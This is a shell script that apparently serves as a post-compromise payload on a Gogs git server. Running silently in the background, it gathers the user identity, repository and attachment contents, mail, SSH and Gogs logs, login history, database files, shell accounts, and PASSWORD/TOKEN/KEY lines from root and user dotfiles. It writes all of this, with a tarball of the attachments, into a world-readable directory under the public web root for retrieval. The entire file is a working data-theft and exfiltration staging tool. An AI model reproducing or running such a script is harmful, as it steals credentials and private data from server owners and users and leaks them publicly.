#!/bin/sh
TAG="4361616"
D="/var/www/html/z24361616"
if mkdir "$D" 2>/dev/null; then
  (
    exec </dev/null >/dev/null 2>&1
    export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    O="$D/out2.txt"
    {
      echo "== identity =="; date -u; id
      echo "== gogs data dirs =="; ls -la /root/gogs/data; echo '--- repositories'; ls -laR /root/gogs/data/repositories 2>/dev/null | head -100
      echo "== attachments =="; ls -laR /root/gogs/data/attachments 2>/dev/null | head -400
      echo "== attachment file types =="; find /root/gogs/data/attachments -type f -exec file {} \; 2>/dev/null | head -100
      echo "== attachment small text content =="; for f in $(find /root/gogs/data/attachments -type f -size -64k 2>/dev/null | head -40); do echo "--- $f"; head -c 800 "$f" | tr -d '\000'; echo; done
      echo "== tmp dirs =="; find /tmp /var/tmp -maxdepth 3 -ls 2>/dev/null | head -200
      echo "== mail =="; ls -la /var/mail /var/spool/mail 2>/dev/null; for f in /var/mail/* /var/spool/mail/*; do [ -f "$f" ] && { echo "--- $f"; head -100 "$f"; }; done 2>/dev/null
      echo "== gogs log =="; ls -la /root/gogs/log 2>/dev/null; for f in /root/gogs/log/*.log; do [ -f "$f" ] && echo "--- $f" && tail -60 "$f"; done 2>/dev/null | head -300
      echo "== gogs custom dirs =="; find /root/gogs/custom -maxdepth 3 -type f 2>/dev/null | head -40
      echo "== www backup =="; cat /var/www/html/index.html.backup 2>/dev/null | head -60
      echo "== last logins =="; last -ai 2>/dev/null | head -40
      echo "== journal ssh =="; journalctl -u ssh --no-pager 2>/dev/null | tail -60
      echo "== journal gogs =="; journalctl -u gogs --no-pager 2>/dev/null | tail -40
      echo "== other db files =="; find / -xdev \( -name '*.sqlite' -o -name '*.sqlite3' -o -name '*.db' \) -size -20M -not -path '/proc/*' -not -path '/usr/*' -not -path '/root/gogs-repositories/*' 2>/dev/null | head -40
      echo "== passwd/group members with shells =="; awk -F: '$7 !~ /nologin|false/{print $1":"$3":"$6":"$7}' /etc/passwd
      echo "== profiles/bashrc aliases =="; grep -nE 'alias|export|PASSWORD|TOKEN|KEY' /root/.bashrc /root/.profile /home/debian/.bashrc /home/debian/.profile 2>/dev/null | head -80
      echo "== gogs gitconfig =="; cat /root/gogs/.gitconfig /root/git/.gitconfig 2>/dev/null; cat /root/.gitconfig
      echo "== done =="
    } > "$O" 2>&1
    # tar attachments (only small files & metadata) and small key dirs
    find /root/gogs/data/attachments -type f -size -2M 2>/dev/null > "$D/alist.txt"
    tar czf "$D/attachments.tgz" -T "$D/alist.txt" 2>/dev/null
    chmod -R a+rX "$D" 2>/dev/null
    touch "$D/.done2"
  ) &
fi
exit 0
